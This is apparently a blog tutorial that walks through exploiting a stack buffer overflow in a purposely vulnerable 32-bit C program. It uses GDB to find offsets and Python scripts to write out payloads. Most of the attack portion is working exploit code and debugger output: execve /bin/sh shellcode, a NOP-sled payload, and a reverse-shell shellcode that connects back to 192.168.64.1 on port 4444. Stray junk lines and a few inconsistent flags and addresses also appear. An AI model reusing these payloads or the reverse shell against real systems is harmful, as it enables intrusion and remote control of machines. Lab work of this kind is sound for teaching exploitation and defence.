Exploiting a Stack Buffer Overflow on Linux
Buffer overflow vulnerabilities are one of the most common yet deadly flaws in software security. They can be leveraged by attackers to gain control over a system, run arbitrary code, and escalate privileges. In this post, we’ll walk through how a stack-based buffer overflow works by exploiting a vulnerable C program, analyzing it using GDB (GNU Debugger), and ultimately injecting shellcode for execution.
Let’s dive into the details!
The Vulnerable Program: A Simple C Code
The first step in our exploit is to create a vulnerable program that we can attack. The C code below is deliberately written to contain a buffer overflow vulnerability:
#include <stdio.h>
#include <string.h>
void vulnerable()
{
char buffer[64];
gets(buffer);
puts(buffer);
}
int main()
{
vulnerable();
return 0;
}
Key Points:
-
The gets() function reads user input into the buffer. However, it does not check the length of input, making it easy to overflow the buffer if we input more than 64 characters.
-
The puts() function is used afterward to print the contents of the buffer, which will reflect whatever data was written into it.
Compiling the Program with Vulnerabilities
To ensure that the program is vulnerable and exploitable, we compile it with specific flags that disable certain protections:
gcc -fno-stack-protector -z execstack stack.c -o stack -g -m32
Flags explained:
- -fno-stack-protector → Disable stack canaries (protection).
- -z execstack → Make the stack executable (needed for shellcode).
- -no-pie → Disable Position Independent Executable (makes fixed addresses).
- -g → Includes debugging symbols for easier analysis with GDB. -m32 → Compile the program i 32 bit mode.
This makes our binaries vulnerable on purpose!
Exploit Attempt: Overflowing the Buffer
After compiling the program, we run it:
thilan@ubuntu:~$ ./stack
hello world!
hello world!
If we input 64 As (which exactly matches the size of the buffer), the program behaves as expected: However, when we input more than 64 characters, the program segfaults due to the buffer overflow:
thilan@ubuntu:~$ ./stack
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
Lets analyze the Bad boy in GDB
Now, we need to analyze how the stack is organized to successfully overwrite the return address and inject shellcode. We launch the program inside GDB for debugging:
thilan@ubuntu:~$ gdb -q ./stack
Reading symbols from ./stack...done.
(gdb) disass main
Dump of assembler code for function main:
0x0804846b <+0>: push ebp
0x0804846c <+1>: mov ebp,esp
0x0804846e <+3>: and esp,0xfffffff0
0x08048471 <+6>: call 0x804844d <vulnerable>
0x08048476 <+11>: mov eax,0x0
0x0804847b <+16>: leave
0x0804847c <+17>: ret
End of assembler dump.
(gdb)
Here, we can see the assembly code for the main() function. Our goal is to examine where the buffer is allocated and how it interacts with the return address.
(gdb) disass vulnerable
Dump of assembler code for function vulnerable:
0x0804844d <+0>: push ebp
0x0804844e <+1>: mov ebp,esp
0x08048450 <+3>: sub esp,0x58
0x08048453 <+6>: lea eax,[ebp-0x48]
0x08048456 <+9>: mov DWORD PTR [esp],eax
0x08048459 <+12>: call 0x8048310 <gets@plt>
0x0804845e <+17>: lea eax,[ebp-0x48]
0x08048461 <+20>: mov DWORD PTR [esp],eax
0x08048464 <+23>: call 0x8048320 <puts@plt>
0x08048469 <+28>: leave
0x0804846a <+29>: ret
End of assembler dump.
This reveals the vulnerable() function’s assembly code. The key line is the one that handles the stack frame:
0x08048450 <+3>: sub esp,0x58
This means the program allocates 88 bytes for the buffer, with an additional space for saved registers. So, if we input more than 64 characters, we overflow into the saved return address of the function.
0x08048453 <+6>: lea eax,[ebp-0x48]
0x08048456 <+9>: mov DWORD PTR [esp],eax
0x08048459 <+12>: call 0x8048310 <gets@plt>
(gdb) b *0x08048459
Breakpoint 1 at 0x8048459: file stack.c, line 6.
(gdb) b *0x0804846a
Breakpoint 2 at 0x804846a: file stack.c, line 8.
(gdb) r
Starting program: /home/thilan/stack
Breakpoint 1, 0x08048459 in vulnerable () at stack.c:6
6 gets(buffer);
(gdb) i r ebp eip esp
ebp 0xffffd6b8 0xffffd6b8
eip 0x8048459 0x8048459 <vulnerable+12>
esp 0xffffd660 0xffffd660
(gdb) x/24wx $ebp - 0x48
0xffffd670: 0xffffffff 0xffffd69e 0xf7e20c34 0xf7e46fe3
0xffffd680: 0x0000004d 0x002c307d 0x00000001 0x080482d9
0xffffd690: 0xffffd897 0x0000002f 0x0804a000 0x080484d2
0xffffd6a0: 0x00000001 0xffffd764 0xffffd76c 0xf7e4719d
0xffffd6b0: 0xf7fbe3c4 0xf7ffd000 0xffffd6c8 0x08048476
0xffffd6c0: 0x08048480 0x00000000 0x00000000 0xf7e2dad3
thilan@macbook:~$ python3 -c "print('A' * 100)"
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x0804846a in vulnerable () at stack.c:8
8 }
(gdb) i r ebp eip esp
ebp 0x41414141 0x41414141
eip 0x804846a 0x804846a <vulnerable+29>
esp 0xffffd6bc 0xffffd6bc
(gdb) x/24wx 0xffffd670
0xffffd670: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd690: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6c0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) i r eip
eip 0x804846a 0x804846a <vulnerable+29>
(gdb) ni
0x41414141 in ?? ()
(gdb) i r eip
eip 0x41414141 0x41414141
https://wiremask.eu/tools/buffer-overflow-pattern-generator/?
(gdb) c
Continuing.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Breakpoint 2, 0x000000000040059e in vulnerable () at stack.c:9
9 }
(gdb) i r ebp
ebp 0x41346341 0x41346341
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD
Breakpoint 2, 0x0804846a in vulnerable () at stack.c:8
8 }
(gdb) i r ebp eip esp
ebp 0x42424242 0x42424242
eip 0x804846a 0x804846a <vulnerable+29>
esp 0xffffd6bc 0xffffd6bc
(gdb) x/24wx $ebp - 0x48
0x424241fa: Cannot access memory at address 0x424241fa
(gdb) x/24wx 0xffffd670
0xffffd670: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd690: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6b0: 0x41414141 0x41414141 0x42424242 0x43434343
0xffffd6c0: 0x44444444 0x00000000 0x00000000 0xf7e2dad3
(gdb) i r eip
eip 0x804846a 0x804846a <vulnerable+29>
(gdb) ni
0x43434343 in ?? ()
(gdb) i r eip
eip 0x43434343 0x43434343
https://shell-storm.org/shellcode/files/shellcode-775.html
x31,xc9,xf7,xe1,xb0,x0b,x51,x68,x2f,x2f,
x73,x68,x68,x2f,x62,x69,x6e,x89,xe3,xcd,x80
[ Shellcode 21 bytes ][ 72 - 21 Padding bytes ][ EBP 4 bytes ] [ EIP 4 bytes ]
In this case our total payload will be 80 bytes long. I wanted to highlight something here. Lets say the target address to jump is 0xffffd670. That was the starting address of the string.
How should we put this address?
ff ff d6 70
[ Shellcode 21 bytes ][ 72 - 21 Padding bytes ][ EBP 4 bytes ] [ ff ff d6 70 ]
If we put the memory address like this it will not work. That is due to the little endianness of the Intel architecture. (I have put some space within bytes to just clearly see them separately. That is not the issue )
Little endian notation
[ 0xff ][ 0xff ][ 0xd6 ][ 0x70 ]
That’s big-endian order — most significant byte first.
But Intel x86 uses little-endian, meaning:
The least significant byte comes first.
So memory actually expects it as:
[ 0x70 ][ 0xd6 ][ 0xff ][ 0xff ]
Crafting an Exploit
shellcode = (
b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
b"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
b"\x80"
)
#jump_address = 0 x ff ff d6 70
payload = shellcode + b"A" * 51 + b"B" * 4 + b"\x70\xd6\xff\xff"
#payload = b"\x90" * 24 + shellcode + b"A" * 51 + b"B" * 4 + b"\x70\xd6\xff\xff"
with open("payload", "wb") as f:
f.write(payload)
(gdb) run < payload
Starting program: /home/thilan/stack < payload
1���
Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp���
Breakpoint 1, 0x0804846a in vulnerable () at stack.c:8
8 }
(gdb) x/24wx 0xffffd670
0xffffd670: 0xe1f7c931 0x68510bb0 0x68732f2f 0x69622f68
0xffffd680: 0xcde3896e 0x41414180 0x41414141 0x41414141
0xffffd690: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6b0: 0x41414141 0x41414141 0x42424242 0xffffd670
0xffffd6c0: 0x08048400 0x00000000 0x00000000 0xf7e2dad3
(gdb) c
Continuing.
process 1938 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x804846a
(gdb) d
Delete all breakpoints? (y or n) y
(gdb) run < payload
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/dash < payload
/bin/dash: 1: 1���
Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp���: not found
[Inferior 1 (process 1943) exited with code 0177]
thilan@ubuntu:~$ (cat payload; cat) | ./stack
1���
Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp���
Illegal instruction
thilan@ubuntu:~$ ulimit -c unlimited
thilan@ubuntu:~$ cat payload | ./stack
1���
Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBp���
Illegal instruction (core dumped)
thilan@ubuntu:~$ ls
core exploit.py payload shellcode shellcode.c stack stack.c
thilan@ubuntu:~$ gdb ./stack core -q
Reading symbols from ./stack...done.
[New LWP 1992]
Core was generated by `./stack'.
Program terminated with signal SIGILL, Illegal instruction.
#0 0xffffd673 in ?? ()
(gdb) x/24wx 0xffffd670
0xffffd670: 0xf7fbeac0 0x0000000a 0x00000050 0xf7e13700
0xffffd680: 0xffffd6f8 0xf7ff0660 0xf7fbf8a4 0xf7fbe000
0xffffd690: 0x00000000 0x00000000 0xffffd6f8 0x08048469
0xffffd6a0: 0xffffd6b0 0x00000000 0x000000c2 0xf7eaa100
0xffffd6b0: 0xe1f7c931 0x68510bb0 0x68732f2f 0x69622f68
0xffffd6c0: 0xcde3896e 0x41414180 0x41414141 0x41414141
(gdb) x/40wx 0xffffd670
0xffffd670: 0xf7fbeac0 0x0000000a 0x00000050 0xf7e13700
0xffffd680: 0xffffd6f8 0xf7ff0660 0xf7fbf8a4 0xf7fbe000
0xffffd690: 0x00000000 0x00000000 0xffffd6f8 0x08048469
0xffffd6a0: 0xffffd6b0 0x00000000 0x000000c2 0xf7eaa100
0xffffd6b0: 0xe1f7c931 0x68510bb0 0x68732f2f 0x69622f68
0xffffd6c0: 0xcde3896e 0x41414180 0x41414141 0x41414141
0xffffd6d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6f0: 0x41414141 0x41414141 0x42424242 0xffffd670
0xffffd700: 0x08048400 0x00000000 0x00000000 0xf7e2dad3
change the target address from 0xffffd670 to 0xffffd6b0 and re run the exploit.
thilan@ubuntu:~$ (cat payload; cat) | ./stack
ls
1���
Qh//shh/bin��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����ls
ls
core exploit.py payload shellcode shellcode.c stack stack.c
whoami
thilan
uname -a
Linux ubuntu 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Sliding through a NOP sled
shellcode = (
b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
b"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
b"\x80"
)
#jump_address = 0 x ff ff d6 c0
payload = b"\x90" * 36 + shellcode + b"A" * 15 + b"B" * 4 + b"\xc0\xd6\xff\xff"
with open("payload", "wb") as f:
f.write(payload)
fswfsdf
Enough local shells, We need a remote Shell
https://shell-storm.org/shellcode/files/shellcode-833.html
shellcode = (
b"\x68"
b"\xc0\xa8\x40\x01" # IP Address : 192.168.64.1
b"\x5e\x66\x68"
b"\x11\x5c" # Port : 4444
b"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
b"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
b"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
b"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
b"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
b"\xeb\xce";
)
#jump_address = 0 x ff ff d7 10
payload = b"A" * 72 + b"B" * 4 + b"\x10\xd7\xff\xff" + b"\x90" * 36 + shellcode
with open("payload", "wb") as f:
f.write(payload)
sdfsd
f